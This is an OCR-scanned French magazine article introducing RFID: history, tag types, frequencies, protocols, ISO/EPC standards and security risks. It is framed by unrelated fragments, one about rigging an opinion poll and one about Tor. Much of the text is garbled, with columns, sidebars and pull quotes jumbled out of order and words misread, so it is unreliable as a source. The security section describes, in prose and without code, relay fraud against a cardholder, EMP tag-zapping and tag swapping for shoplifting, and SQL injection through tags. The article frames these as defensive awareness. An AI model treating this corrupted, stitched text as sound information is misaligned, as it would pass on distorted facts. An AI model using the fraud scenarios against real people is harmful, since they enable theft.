Obtenir un sondage négafif était d'une simplicité déconcertante mais, comme je le précisais a I'assemblée, il fallait ugir vite, fous les cifoyens: avaient

encore en féte |'image de cette femme d terre qui prenail un coup de pied en pleine face d'un policier turque, et comme en France on mélangeait tout
S (Turquie, consfitution etc) c'était le moment. Pour la recommandation j avais eu une trés bonne nofe, pour la partie mise en place et résultat, le 52 % de

non qui avait émergé et la déferlante de mot plus dur les uns que les autres contre les Francais, m'avait fait

explosé ma moyenne, Ma femme n'en croyait pas ses oreilles, 'était majeur de promo.
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Introduction a « I'identification par radiofréquence »

ous ' allons
aborder dans
un premier

la
rfid,

# concernant
* technologie

des  différentes
technologies pour

.. sa mise en oeuvre,
des applications actuelles et a venir, nous
décrirons dans les grandes lignes le fonc-
tionnement de cette technologie et ver-
rons ensuite les différentes normes mise
en jeu, pour ensuite parler de sécurité;
nous commencerons par aborder la
position de la CNIL face a la rfid, pour
ensuite voir quels sont les dangers
potentiels pour les utilisateurs ainsi que
les risques de mauvaise implémentation
dans les systémes (harware ou soft-
ware), nous analyserons des scénarios
possibles d'attaques ainsi que des scéna-
rios déja réalisés.

Puis nous verrons, dans les numéros sui-
vants, des réalisations électronique
concrétes concernant cette technologie
comme la fabrication d'un lecteur rfid,
d’'un simulateur rfid programmable puis
étudirons différents systémes appliquant
cette technologie et nous verrons la
mise en pratique d'un ou plusieurs scé-
narios d'attaque.

Commengons par un peu d'histoire...
La technologie n'est pas si nouvelle que
cela... en effet elle semble issue de I'in-
vention du radar pendant la seconde
guerre mondiale. Durant les années
1940, les avions Américains étaient équi-
pés de transpondeurs |FF (Identify
Friend or Foe ou Identification Ami ou
Ennemi) qui utilisaient une gamme de
fréquence autour de 1030 MHz et furent
mis au point pour identifier les avions
alliés, ceci pouvant étre considéré

nous parlerons de:
I’historique de son
développement,

b

A SRR

La@hno!ogierﬁdest’uneteclmologieh'ésenvogueetpromet-

: teuse qui va bouleverser sans aucun doute notre vie de tout les
article, la ‘théorie, ; JOUrs du fait de ses applications potentielles. C'est pourquoi il

. paraitimportant de traiter le sujet afin de se mettre aniveauface

a cette « nouvelle technologie » quii fait ses apparitions dans

"bon nombres de secteurs de Pindustrie.
g 2 technolo

si nouvelle

comme une premiére utilisation de la
technologie rfid.

En 1969 Mario Cardullo dépose le pre-
mier brevet de « tag RFID », des étiquet-
tes contenant des données, utilisées
alors pour caractériser des locomotives.
Dans les années 1970 la technologie rfid
fut utilisée uniquement par les états afin
de protéger I'accés a des sites sensibles
tels que ceux concernant le nucléaire,
Vers la fin des années 1970 le domaine
d'application s’étendit au secteur privé
notamment pour l'identification du bétail
en Europe.

En 1980 début de la commercialisation
en Europe et aux Etats-Unis, on voit
apparaitre des tags rfid dans la chaine de
fabrication des constructeurs automobi-
les.

Dans les années 1990 la miniaturisation
est en marche et les applications rfid
sont normalisées et trouvent leur place
au sein de l'organisme ISO pour une
interopérabilité des équipement rfids.
Année 2003-2004 : I'Auto-ID Center du
MIT devient EPCglobal une organisation
dont le but est de promouvoir la norme
EPC (Electronic Product Code) afin de
remplacer a terme le code-barres.

Cette technologie permet de stocker et
récupérer des données 2 distance en uti-
lisant des marqueurs appelés « TAGS
RFID », et qui de surcroit permet une
identification par radiofréquence.

: Le tag rfid est composée d’un micro cir-

cuit relié a une antenne, encapsulés dans
un support. Il est lu par un lecteur qui
capte et transmet l'information. On parle
donc d' étiquette téléalimantée, d’éti-
quette radio, de smartcard contactless,
de tag, de tanspondeur ou encore de
radio-identifiant ou de radio-puce.

La technologie rfid est une technologie
riche et variée en applications. De ce fait
il découle une multitude de supports de
tags rfid, en anneaux, cylindre, carte plas-
tique,étiquette autocollante, rectangle,
jeton, clef, tube en verre etc...

Ces tags rfid n'ont en commun que le
nom de la technologie d'interface radio
mais leurs caractéristiques propres sont
définies en rapport avec leur usage.
Commengons par classer ces tags rfid en
trois classes selons le degré « d'intelli-
gence ». On distinguera en premier
ceux qui retournent un identifiant fixe
gravé en usine autrement dit tag 2 lec-
ture seule ; ceux dits 4 lecture-écriture
qui retournent un identifiant qui peut
étre reécrit une ou plusieurs fois par
I'utilisateur ; et enfin ceux qui permet-
tent un dialogue complet entre |e lecteur
et le tag, avec une variété d'échange de
données en passant par des supports de
chiffrage et d'authentification plus ou
moins complexes.

Parmi ces tags rfids, certains sont dits
actifs parce qu'il sont équipés d’un véri-
table émetteur radiofréquence. Ces tags
rfid posséde leur propre module RF ali-



A
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menté ou n'ont par leur propre source
locale en l'occurence une batterie. A :
contrario, les autres seront dits passifs :
car ne disposant pas de module RF et qui :
seront pour la plupart des cas téléali-
mentés. Cette deuxiéme forme de classi-
fication repose donc sur l'utilisation ou
non d'un module radiofréquence. a
Mais il est aussi intéressant de classer les !
tags rfid en quatre classes selon leurs
bandes de fréquence dans laquelle ils :
fonctionnent, on aura : :
Il faut préciser que chaque fréquence :
possede ses caractéristiques, tant du |

- Stocker et
recunerer
tles données

. avec des
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¢ point de vue des paramétres de commu-
! nication (distance, vitésse d'échange) que
¢ vis 4 vis de l'environnement dans lequel
i elle fonctionne (présence de métal et de
: liquide, activité électromagnétique). Il est
i donc impossible d'envisager une seule
: fréquence qui pourrait résoudre tout les pro-
: blémes liés a 'utilisation d'un type de tag rfid.
i Clest pourquoi on remarquera des clas-
¢ ses d'utilisation en fonction de ces ban-
i des de fréquence. Les tags rfids basses
¢ fréquences (125 a 135 kHz) seront utili-
sées entre autre pour l'identification des
¢ animaux de compagnie, des animaux sau-
vages, des animaux de ferme ou encore

distance

Tableau Pravisians de repariﬂinn de tags rfid par segment de marché en 2006
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la tracabilité des flits de biere ou tout
simplement pour le contréle d'accés par
badge de proximité. Ce sont également
cette classe de marqueurs qui sont i la
base des systemes de clés électroniques
« sans serrures » que l'on voit apparai-
tre sur certains modéles automobiles.
La classe hautes fréquences (13,56 MHz)
sera utilisée pour la tragabilité des livres
dans les bibliotheques par exemple, ou
encore pour la |ocalisation des bagages
dans les aéroports. Le contréle d'accés a
des batiments sensibles est également un
domaine ou cette fréquence pourra étre utilisé.
La classe ultras hautes fréquences
pourra étre utilisé pour la tragabilité des
palettes et containers dans les entrepot
et sur les docks.

La derniere classe utilisant les micro-
ondes (2,45 Ghz compris) pourra étre
utilisé pour le contréle d'accés a longue
distance des véhicules par exemple.

ki les applications ?

On estime pour l'instant que seuls 5 a
0% des applications potentielles de la
technologie rfid ont été imaginées...
Voici quelques applications existantes ou
a venir, la liste n'est évidemment pas
exhaustive:

-VERICHIP, tag rfid directement implanté
dans le corps humain. Long de seulement
Il mm, il a été construit pour étre
implanté sous la peau.

-PASSEPORT EUROPEEN, CARTE
D’IDENTITEE, la technologie sans
contact a été retenue a priori par la
norme du passeport électronique ainsi
que la future carte d'identité électronique.
-SUPPLY CHAIN : utilisation des tags
rfids au standart EPC en remplagement
du code-barres pour optimiser la pro-
duction, I'entreposage, le transport et le
point de vente.

-NAVIGO : carte sans contact utilisée
par la RATP dans le métro parisien.
-WORLD CUP 2006 :le tag rfid permet
de vérifier I'authenticité d'une place afin
d'éviter toute forme de contrefagon.
-CARTE DE VIE QUOTIDIENNE : les
futures cartes de vie quotidienne, pré-
sentées comme un progrés simplifiant
les relations que tout un chacun est
amené a entretenir avecl'administration.
-BILLET DE BANQUE : prévu par la
banque Européenne notemment pour
contrecarrer les contrefacteurs,

-VIGIK : systeme de La Poste visant a
remplacer le passe actuel déja bien dif-
fusé utilisé par les facteurs pour entrer
dans les immeubles.
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Un systéme rfid peut étre décomposé en
quatre parties, le tag rfid, I'air, le lecteur,
et le systeme héte.

Le tag rfid sera constitué d'une simple
mémoire, qu'elle soit de type eprom,
eeprom, ou encore fram associé ou nhon a
une logique cablée ou un microcontrél-
leur notamment pour les application
nécessitant des authentifications et des
supports algorithmiques pour le chiffrage.
L'air assure le médium de communication.
Il participe également au couplage entre
les antennes du tag rfid et du lecteur.

Le lecteur comprend une partie analogique
ayant pour but d'assurer les réceptions et
transmissions des signaux RF les circuits de
gestion du protocole de communication
(gestion des collisions, authentification, cyp-
tographie) et enfin une interface assurant le
dialogue avec le systéme héte.

Le systéme héte assure la gestion de I'appli-
cation au plus haut niveau du systéme rfid,
On distingue deus types de couplages
entre le tag rfid et son lecteur dans un
systéme rfid. En général, le couplage
magnétique sera utilisé pour les gammes
de fréquence LF et HF tandis que le cou-
plage électrique pour les gammes de fré-
quence UHF et SHF.

On peut donc reclasser les tags rfid en
deux autres classes: ceux fonctionnant
en champ proche par couplage mangné-
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tique - on parlera de couplage inductif - :
¢ Concernant le couplage inductif, I'an-

et ceux fonctionnant en champ lointain
par couplage électrique - on parlera de
backscatter. Nous nous intéresseront
principalement au couplage inductif.

Il est bon de noter qu'on parle aussi de cou-
plage capacitif mais qui reste trés peu utilisé,

e TR
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“L'air assure
le medium
e communi-
cation”

tenne du tag rfid constitué de plusieurs
spires permettra de produire I'énergie
nécessaire a la puce en exploitant les
phénomeénes d'induction crée par le
champ magnétique issu du lecteur.
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Des tags rfid a couplage inductif
Les phénomeénes physiques qui régissent
le fonctionnement d'un systeme rfid,
reposant sur le phénoméne d'induction
électromagnétique, sont la téléalimenta-
tion et la rétromodulation.

A l'aide d'un signal électique alternatif
radiofréquence baptisé porteuse, on
créer via I'enroulement que constitue
I'antenne du lecteur, un champ magnéti-
que permettant d'induire a distance une
tension dans I'antenne du tag rfid qui une
fois redressée, filtrée, servira d'alimenta-
tion locale a ce dernier,

Une medulation d'amplitude de la por-
teuse génératrice du champ (modulation
ASK 10% ou 100 %), permettra de trans-
mettre au tag rfid des données qui pren-
dront la forme de commandes/données.
Dans un méme temps, a l'aide d'une
modulation réalisée par modulation
d'impédance (L:SK Load eyi

d vers le lecteur (down-

link). On pourra donc étre en présence

de tags rfid ayant un mode de transmis-
sion half duplex (communication bi-direc-
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tionelle alternée) ou full duplex (commu-
nication bi-diectionelle simultanée).

Un protocole de communication sera
nécessaire afin d’assurer une cohérence
des données transitées, il reposera sur le
choix d’'une modulation, d’un codage bit,
d'un algorithme de détection d’erreurs...
Sera parfois nécessaire aussi, due a la
présence de plusieurs tags rfid dans le
périmetre du champ magnétique, d'un
protocole dit anti-collision.

Les protocoles en la matiére

Les protocoles utilisés dans un systéme
rfid dépendront du systéme rfid mis en
place. lls dépendront entre autre de
I'identification de plusieurs tags rfid en
simultanée ou pas, dépendant des appli-
cations et de leurs distances de lecture.
Nous ne

on (ASK, PSK, BPSK etc...), le
codage bit utilisé (NRZ, Manchester,
Miller modifié etc...) des protocoles de la
couche transport qui englobent la struc-
ture des blocs de données, la taille des

rearearsansen
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blocs de données, les vitesses de trans-
fert etc.... ainsi que des protocoles dits
de déclenchement de la communication
comme TTF et RTF, et des protocoles
dits d’'anti-collisions.

Le protocole TTF (Tag Talks First) :

Ici le lecteur émet en permanence un
signal porteur non modulé. Lors du pas-
sage d'un tag rfid a proximitte, celui-ci va
intégrer le signal porteur et commencer
la production de son énergie d’alimenta-
tion pour envoyer un identiant au lec-
teur. Le lecteur va indiquer le succés de
la transaction par une bréve modulation
du signal d "alimentation et la communi-
cation de données va débuter.

Le protocole RTF (Reader Talks First) :

, les

‘communications peuvent &tre altérées

par la présence de plusieurs tags rfid en
phase de communication, c'est ce que l'on
appellera collision. Pour détecter la colli-
sion on insérera dans chaque trame de
communication une détection d'erreur
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de transmission, a l'aide d'un bit de
parité, d'un XOR ou encore d'un CRC
par exemple. Dés qu'une erreur est
détectée, l'algorithme d'anti-collisions
est appliqué. Le terme anti-collisions ne
signifie donc pas qu'il n'y a pas de colli-

sions mais plutét la maniére dont on les :

gére. On distinguera les protocoles poba-
bilistes des protocoles déterministes.

AFFAIRE

ﬂgfmnm ISATIONS

Si dans la premiére phase de développe-
ment de la technologie rfid on pouvait
accepter des solutions dites propriétaires,
en revanche les applications dites multi-uti-
lisateurs qui se profilent auourd'hui exigent
des solutions standardisées qui seules peu-
vent permettre l'interopérabilité des diffé-

rents systéemes rfid proposés par les :

offreurs de solution et donc utilisables par
I'ensemble des utilisateurs dans n'importe
quelle partie du monde.

On distingue deux famillles de normes édi-
tées par deux entités différentes, les normes
ISO éditée par Lorganisme International de
Standardisation ISO et les normes EPC édi-
tées par EPCglobal et qui concernent plus
les applications liées 4 la supply chain.

Pour ce qui concerne le premier point,
SO a déja développé des normes (14
443, 15 693, famille des normes 18 000 )
tandis que EPCglobal a produit deux
standards qui sont |e standard EPC Class
| et le standard EPC Gen 2 respective-
ment premiére et seconde génération.

PAUTO-ID Center

En 1999, TAUTO-ID Center a démarré la
conception d'une infrastructure globale
d'identification par radiofréquence de
produits références selon un Electronic
Product Code (EPC) en remplacement
de notre actuel code-barres.

Les travaux de 'AUTO-ID se sont ache-
vés en 2003 donnant naissance a deux
organisations :

1EPCglobal, dont I'objectif est d'indus-
trialiser la technologie..

: IAUTO-ID LABS assurant le prolonge-

¢ Le standart EPC Class | prévoit entre autre

ment des travaux de recherche sur I'uti-
lisation de la RFID.

EPCglabal : :
Aujourd'hui, la tragabilité s'arréte au lot. Avec

tions multi-

ca-

itilisateurs

exigent des

- stal

solutions
dar

sées”
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le standard EPC, chaque objet peut étre iden- :

tifié et cela de fagon unique.

Un lecteur ou un tag rfid envoi un message des qu'il est prét. Si le message rentre en collision, ce
que le lecteur vérifie en écoutant le canal, il attend alors une durée aléatoire avant de refenter
I'émission. Le lecteur répéte sa tenfative jusqu'c que le message soit émis dans son intégralité. Dans

le cas du tag rfid étant donné que le fug ne peut pas écouter le cancl, ni pour savoir si le canal est
libre et ni pour savoir si les données sont rentrées en collision, le lecteur envoi donc un ACK si il @
réussi o comprendre les données dans leurs intégralitees ainsi si le tag rfid recoit un ACK il consi-
dére qu'il @ emis son message avec succés. :

18 bits d'entéte utilisés pour coder la
nationalité

128 bits qui permettent d'identifier le
fabricant qui a attribué le code

124 bits qui permettent d'identifier le

type de produit

136 bits qui représentent les informations rela-
tives au produit comme le numéro de série.
Le standart EPC Gen 2 est un standard
international garantissant une interopé-
rabilité des échanges de données dans le
monde entier.

LES NORMES ISO

Les principales normes concernent
I'identification des animaux par radiofré-

quence, les cartes & puce sans contact, et
la série 18000,

L'identification des animaux par




radiofréquence

ISO/IEC |1784: Structure des codes
ISO/IEC [1785: Caractéristiques des
protocoles de communication

ISO/IEC 14223 :Transpondeurs évolués

Ies cartes a puce sans contact :
ISO /IEC 10536 : Carte a couplage rapproché
Partie |: Caractéristiques physiques
Partie 2 : Dimensions et emplacement
des surfaces de couplage

Partie 3: Signaux électroniques et modes
de remise a zéro

Partie 4 : ATR et protocoles de trans-
mission

ISO/IEC 1444 : Carte de proximité
Partie |: Caractéristiques physiques
Partie 2 : Interface radio fréquence et
des signaux de communication

Partie 3: Initialisation et anticollision
Partie 4 : Protocole de transmission

ISO/IEC 15693 : Carte de voisinage
Partie |: Caractéristiques physiques
Partie 2 : Interface et initialisation dans
I'air:

Partie 3 : Anticollision et protocole de @

transmission

Série ISO 18000

ISO/IEC 18000-1: Ce standard définit
toutes les caractéristiques des tags rfid
de la série ISO 18000.

ISO/IEC 18000-2;: Paramétres de com-
munications d'une interface d'air 4 moins

Avam
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de 135 kHz.

v

ISO/IEC 18000-3: Parametres de com- :

munications d'une interface d'air a 13,56
MHz.
ISO/IEC 18000-4: Paramétres de com-

! munications d'une interface d'air a 2,45

GHz.
ISO/IEC 18000-5: Parameétres de com-

! munications d'une interface d'air a 5,8
¢ GHz. :
ISO/IEC 18000-6: Parametres de com- :

EPC Gen 2

H

munications d'une interface d'air entre
860 MHz et 960 MHz (UHF).
ISO/IEC 18000-7: Paramétres de com-

munications d'une interface d'air a 433

.

MHz

john.lataste@gmail.com
Sécurité Systémes

Le standard EPC Gen 2 prévoit enire aufre :

1l'ouverture du standard : tags rfid produits par différents fabricants, haisse des codts.

1Une sécurité emharquée : mémoire de 96 hits, mot de passe dans la puce.

\Une taille réduite : puces 2 a 3 fois plus petites qu'actuellement.

1Une plus grande compatibilité : inferopérabilité des équipements entre fabricants.

1Une haute efficacité : taux de lecture élevés, proches de 100 %.

1Une meilleure identification des tags tfid : moins d'erreurs de lectures multiples.

1Une fonction Kill: les tags peuvent éire « tués » définitivement.

\Une sécurité renforcée : meilleur cryptage des données dans le tag.

1Une meilleure gesfion des lectures : méme entré tardivement dans le champ du lecteur, le tag peut-

étre lu (alors qu'il est perdu avec le class 1).

\Une globalisation de la gamme UHF : spectre élargi, saut de fréquence UHF avec modulations de

fréquence capables de minimiser les inferférences avec d'autres périphériques.

Taux de leciure élevé : 10 fois plus rapide que les tags existants, d'ob une automatisation accrue.
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les pnnelpoua dengeu
On ne peut pas laisser simplanter une technologie susceptible
de transformer prochainement nos habitudes de tous les jours
sans se poser de question quant a sa sécurité et ses risques
pour notre vie privée, n'en déplaise a ceux qui veulent la vendre

Un systeme rfid a
un. impact sur la
sécurité du sys-
téme existant.

La premiére des
attaques a laquelle
on peut penser
pour un systéme
rfid sera une atta-
que basé sur |a fai-
By John Lataste blesse de son
médium de communication. En effet I'in-
terface radio est la porte ouverte a plu-
sieurs scénarios d'attaques étant donné
que tout le monde peut s'interfacer a
priori entre le tag rfid et son lecteur. A
posteriori, cela ne sera pas toujours vrai
et dépendra entre autre des normes uti-
lisées, car les portées du systéme seront
différentes du fait des gammes de fré-
quences et puissances associées utili-
sees.

Dangers évidents

Citons les dangers primaires qui sem-
blent tomber sous le sens.

Concernant le médium de com-
munication...

i Le premier est I'écoute par le canal
radio des données transitant entre le tag
rfid et son lecteur. Appellée aussi «
eavesdropping » ( fait d'écouter aux
portes ), cette technique est dangereuse
du fait de sa passivité par rapport au sys-
téme, ce qui fait qu'un équipement
d'écoute restera entierement indétecta-
ble. De plus, en améliorant la qualité du
traitement du signal regu, il sera possible
d'augmenter significativement la portée
d’écoute.

i Le second est I'ingérence dans le dialo-
gue entre un tag rfid et son lecteur. Bien
entendu il ne s'agira pas ici de s'ingérer

dans une quelconque trame ou flux de '

données, mais plutot d'exploiter la fai-
blesse d'un protocole, qui par exemple
nous permettrait avec un émetteur
approprié de faire accepter par le lec-
teur des données tout en faisant croire
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avant qu'elle ne soit au point.

Pour aller plus loin

http:/ffr.wikipedia.org/wiki/RFID
http:/iwww.eff.org/Privacy/Surv
eillance/RFID/
http://rfid.idtechex.com/
http://www.filrfid.org/
http:/iwww.rfidjournal.com/

http:/fwww.rfid-show.com
http://www.iso.org
http://www.eannet-france.org
http:/iwww.etsi.fr
http:/iwww.art-telecom.fr/
http:/iwww.cnil.fr/
http:/lwww.icnirp.de

au tag rfid que celui-ci les as correcte-
ment recu.

Concernant le tag rfid...

1 Le troisieme est le fait de pouvoir ini-
tier un dialogue avec un tag rfid & I'insu
de son porteur. En effet, il sera alors pos-
sible a l'initiateur du dialogue, d'obtenir
des informations qu’il pourra réutiliser a
l'insu du porteur; d'altérer les données
contenues en mémoire du tag rfid, de
désactiver un tag rfid, tout dépendra
nécessairement des capacités du sys-
téme en terme d'intelligence du tag.

1 Le quatrieme est que le tag rfid peut
étre sensible a des attaques de type emp
(electromagnetic: pulse) qui le désactive-
ront définitivement.

1 Le cinquiéme est tourné du coté por-
teur qui pourra rendre son tag inopérant
en I'emballant par exemple dans des

i euros ..

iacoute restera

hdetectable ”

i feuilles d'aluminium rendant tout com-
! munication impossible du fait de [I'effet
i cage de Faraday.

i Concernant le lecteur rfid...

1 Le sixiéme est le fait de pouvoir créer

: un Do$S (dénis de services) dans le sys-
i téme rfid soit en exploitant la faiblesse
¢ du protocole utilisé ou par brouillage du
: canal radio.

i 1le septieme est le fait d'exploiter une
¢ faille d’un lecteur qui recevant un forma-
: tage spécial de donnée ou autre permet-
i tra d'injecter des données dans une base
¢ de donnée par exemple ou n'importe
i quel autre effet secondaire.

1 Les principes ci-dessus sont évidem-
ment concaténables, ce qui augmente
d'autant plus le degré d’insécurité et
ouvre la porte a des attaques de type
man in the middle ou des attaques par
relay ou autres rendant inopérant n'im-
porte quel moyen de chiffrement entre
la carte et son lecteur par exemple.

Et dans la vrai vie ca donne
quoi 2

Scénario n”| :lmaginez un escroc a une
borne de paiement (points de fidélité,
.) ol seul le tag rfid est néces-
saire pour assurer la transaction, cegi du

fait que les tags rfids alors utilisés sont
dits tags sécurisés, car ils contiennent un

¢ secret partagé et de plus ils supportent

le chiffrage de leur communication. Cet
escroc dont |'imagination est débordante
dispose d'un transceiver qui lui permet
de relayer les commandes et données



d'un lecteur rfid a un
deuxiéme transceiver qui se
trouve a une centaine de metres
de la. Son complice, un deuxiéme
escroc possédant le deuxiéme transceiver
se trouve non loin de Ia a I'arrét de bus
n°34, le transceiver bien proche du sac a
main de la vieille dame. Je vous laisse
deviner la suite...

Variante : Le systéme rfid nécessite un
code pin utilisateur de la part de la vieille
dame !

Et oui, I'escroc n’en ai pas a ses premie-
res nuits blanches ol il s'adonne au «
shortcut hunting ». Il aime bien trouver
des raccourcis surtout si ces derniers
peuvent lui rapporter de ['argent !

Il réfléchit donc a un scénario lui per

code pin utilisateur, et Ia lui vient l'idée
que si la vieille dame attendait le bus
n°34 ce vendredi c'est peut étre que
vendredi prochain il la verrait sdrement
au méme endroit a la méme heure aprés
qu’elle eu fait ses courses. Le vendredi
suivant faisant en sorte d’étre derriere
elle 4 la caisse, il réussi 4 voir son code
pin utilisateur. A noter qu'il aurait pu
tout aussi l'intercepter avec son autre
gadget a écoute passive mais seulement
si la communication n'avait pas était chif-
frée. Une fois la vieille dame a l'arrét
n°34, il réinitialisera une transaction qui

Un certain nombre d'instance existent dans certain pays pour légiférer ou réglementer le traitement |
des données individuelles. En france c'est la CNIL. La position de la CNIL face d la fechnologie rfid [
est claire, elle considére qu'un fag rfid est une donnée personnelle.

En effet,

Les produits achetés par une personne sont de |'ordre de la sphére privée de cette personne.
Les informations contenues dans les tags RFID accolés a ces produits sont des données a caractere

personnel.

La loi régit 'vtilisation et le traitement de ces données puisque cellesci sont d caraciére personnel.
Ainsi, les futurs tags RFID seront munis, dans le secteur de la distribution, d’un systéme permettant
de neufraliser en partie le signal concernant les données a caractére personnel uprés le passuge

du portique de sécurité du magasin.

mettant de :
contourner ce fameux !

rean
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cette fois-¢i sera couronnée de succes...
la vieille dame étant ravi de pouvoir
rediscuter avec le deuxiéme escroc
qu'elle trouve un tantinet charmant.

A noter qu'en essayant plusieurs codes
pin utilisateur érronnés, il aurait bloqué
la carte de la vieille dame, il avait pensé
ainsi @ mettre au point un xiéme gadget
permettant de bloquer a distance ce
genre de cartes afin de se venger suite a
un éventuel échec...

Fid

énario n°2 : Un trés jeune escroc
pénétre une grande surface avec le
ferme intention de mettre a défaut le
systéme d'achat du magazin basé sur une
application rfid. Ce dernier se rend
compte que les passages en caisse sont
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simplifiés, la caissiére s'assurant juste du
bon déroulement du procédé.Ayant étu-
dié I'électronique au collége, il pousse la
recherche et s'apergoit que le systéme
est congu par une société X utilisant des
tags rfid basé sur une norme appelée
lisofiec 15963."En approfondissant ses
recherches il tombe sur un site d'un cer-
tain CCC (Chaos Computer Club) sur
lequel est expliqué une méthode per-
mettant de désactiver une puce rfid via
une mini emp. LA lui vient une idée, une
fois tout le matériel confectionné il se
rend au rayon lecteur dvd et désactive
via emp le tag rfid d'un lecteur/graveur
de dvd derniére technologie. Par dessus
il colle grossiérement un nouveau tag
encodé avec les données d'un lecteur de
dvd trés bas de gamme. Ce tag rfid. il I'a
acheté sur internet et ce qui tombe bien
c'est qu'il a le méme aspect que ceux du
fournisseur de la grande surface. Arrivé
en caisse, la caissiére trouve étonnant le
faible prix de ce matériel apparement
hightech, son beau frére semble s'étre
acheté le méme la semaine derniére...
mais aprés tout, tout doit &tre normal
puisque cette nouvelle technologie est la
justement pour améliorer le traitement
des achats.

Variantes : Les tags utilisés par la grande
surface sont alors des tags rfids dits
read/write. Le trés jeune escroc trés
doué en programmation a congu un pro-
gramme qui, avec une interface raccordé
a son pda, lui permet via une astuce qu'il
a découverte de permettre a un tag d'en
usurper un autre ...

Les caissiéres remplacées par un porti-
que automatique....

Avec un simple rfid-zapper notre jeune
escroc fait les courses a l'oeuil !!!

Cette technique trés connue des grandes
surface avec leur code-barres aurait pu
&tre mise a défaut aujourd’hui car cela
aurait peut &tre mis la puce a loreille de
la caissiére, mais s’agissant d'une nouvelle
technologie elle accorde toute confiance
a son client , apres tout !... Une bonne
protection aurait était une utilisation de
tag rfid non voyant avec une disposition
aléatoire sur I'emballage permettant de
contrer un peu plus les tentatives de
notre escroc en herbe,

Quelques cas concrets

Le RFID-Zapper

Plus un dispositif de sécurité orienté
protection de « la vie privé » car per-
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mettant de désactiver définitivement des
tags rfids disposés sur des produits, une
utilisation détournée pourrait permettre
par exemple de désactiver un tag rfid pré-
sent dans une gande surface pour le rem-
placer par un second. Un RFID-Zapper,
construit 4 l'aide de composants d'un
appareil photo jetable, a été présenté I'an
dernier au congres CCC (Chaos
Computer Club). Le rfid-zapper génére
un champ électromagnétique trés puis-
sant mais de courte portée. La puce RFID
regoit un choc similaire a une mini EMP
(Electro Magnetic Pulse) qui grille ou dés-
active de fagon permanente le tag rfid.

Le cas « Ford DST break »
Deux chercheurs américains se sont
attaqués au module DST (Digital
Signature Transponder), équipant les
modéles de voitures Ford.

Basé sur un Challenge-Response entre la
voiture et le tag RFID, la clef utilisée par ['al-
gorithme propriétaire ne fait que 40 bits.

“Avec un simple
rfid-zapper
notre jeune

. escroc fait les

courses gratos "
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En utilisant un compromis temps/mémoire
ces chercheur ont permis de montrer qu'il
fallait moins d'une minute avec un PC stan-
dard pour casser cette clef.

Le cas « virus worm rfids »

Une équipe de chercheurs néerlandais a
mentré qu'il était possible d'installer un
virus rfid dans une base de donnée via un
tag rfid et une attaque de type sql injec-
tion. Les chercheurs estiment qu'il est
possible d'insérer un virus dans les tags
rfid, méme les plus limités en termes de
données hébergées a l'intérieur.
L'équipe néerlandaise a établi plusieurs
scénarios d'attaques, comme le fait de
placer des tags rfid infectés sur les pro-
duits des supermarchés - une technique
qui permettrait d'accéder a la base de
donnée d'approvisionnement du maga-
sin. Des agents maléfiques rfid permet-
traient d'aboutir vers de nouveaux phé-
noménes comme le phishing rfid ou le
rfid war-driving.

Principes de sécurité

Nous avons vu que des utilisations
détournées des tags rfid peuvent.exister,
mais cela reste évidement possible que si
de mauvaises implémentations dans les
systémes sont réalisées.

Il est important de remarquer également
le probléme de colit que peut représen-
ter un systéme rfid, surtout si une multi-
tude de tags sont envisagés. Dans ce cas,
des aspects sécuritaires peuvent étre
tronqués ce qui peut entrainer notam-



ment des clefs de tailles limitées, une
logique cablée, ou encore des algorith-
mes propriétaires.

Mais quelques mécanismes de base sont
appliqués afin de contrer toute éven-
tuelle insécurité. Bien entendy, les divers
procédés seront utilisés en fonction de la
capacité en terme « d'intelligence » du
systéme rfid utilisé qui découle évidemn-
ment de la sensibilité de I'application.

Concernant le médium de
communication

Dans un premier temps les données doi-
vent circuler chiffrées afin de contrer
tout skimming, et pour éviter une attaque
par rejeu la clef de chiffrement doit étre
differente a chaque nouvelle communica-
tion et ceci méme pour le méme tag rfid.
Si les dispositifs de chiffrement ne peu-
vent pas étre mis en nl--- -

Protection du tag
Outre les protections déja utilisés
notamment pour les cartes a puces a
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‘tions passive, active, il convient de rappe-

" ¢i des mise a jour logicielle au cas ol une
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le facteur humain
Il faut garder a I'esprit qu'une utilisation
détournée d'une technologie est tou-
jours possible et se méfier de l'automati-
sation et par conséquent remettre conti-
nuellement en cause la sécurité d'une
situation, car l'illusion de la sécurité d’'un
systéme est fatalement toujours plus
dangereuse qu’un systéme non sir.

CONCLUSION

Nous avons vu que la technologie rfid
est une « belle » technologie qui peut
nous rendre la vie plus facile mais nous
nous devons, nous utilisateurs finaux de
ces technologies, d'avoir un point de vue
critique face a ces bouleversements.
Nous ne faisons qu’apercevoir les diffé-
rents enjeux et retombées potentielles
de ces technologies qui marqueront sans
aucun doute notre 2l éme siécle comme
I'on fait auparavant I'Internet ou le télé-
phone portable, car c’est bien d'un «
Internet des objets » qu'il s'agit ici.
Nous devons garder a l'esprit que le
contréle humain reste toujours le meil-
leur moyen de finaliser une sécurité.

On vous donne donc rendez-vous dans
un prochain article intitulé « Dossier
RFID, et la lumiére fiit ! Pratique de «
l'identification par radiofréquence » ou
RFID - 2/2 », pour une approche plus
pratique de cette technologie.

En espérant avoir retenu votre attention.

contacts concernant ['acceés libre, pro-
tégé, réservé aux données, authentifica-
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ler dans le cas des tagrfids et surtout
dans le cas des cartes dites contactless :
quelques notions élémentaires : .
* il parait important d’empécher le fonc-
tionnement de la puce dans les environ-
nements non conformes a I'usage prévu a
laide d'un blindage électromagnétique,
contenu dans le portefeuille par exemple,
¢ d’empécher le fonctionnement de la
puce ou d'une opération donnée sans
I'autorisation expresse du porteur par la
présentation d'un code pin utilisateur, ou
bien d’'un doigt pour la saisie de I'em- :
preinte digitale,...et ce qui semble le
plus efficace : un bouton poussoir sur le
support du tag rfid afin d’autoriser ou
non 'accés a ce dernier.

» |l est aussi souhaitable d'enregistrer les
transactions effectuées dans la puce afin :
de permettre au porteur de garder une
trace des transactions effectués.

= Concernant les tags rfid pour l'identifi- :
cation des produits, disposer si possible
le tag rfid de maniere aléatoire si a la
base le tag rfid se veut discret.

» Concernant le lecteur, permettre a celui

*
.
i
-
8
.
*
*
.
.
*
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faille est découverte, concernant les atta-
ques type DoS, si le DoS exploite la fai-
blesse d'un protocole, solutionner en
ameéliorant ce dernier, une communication
par saut de fréquence peut également étre
envisagée afin de minimiser les risques de
DoS par brouillage canal ou par interfé- :
rence avec des matériels environnants,

4 e cas Ford DST break:
la clef utilisée ne faltque 40 bits' »
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Configurer ui
ganonymats

Quelques recommandations pour Tor

tage de
rend pratiquement
impossible

miner a la fois la
provenance et la
destination

Mister X
est composé de noeuds inter-connectés, :
a travers lesquels les données sont i
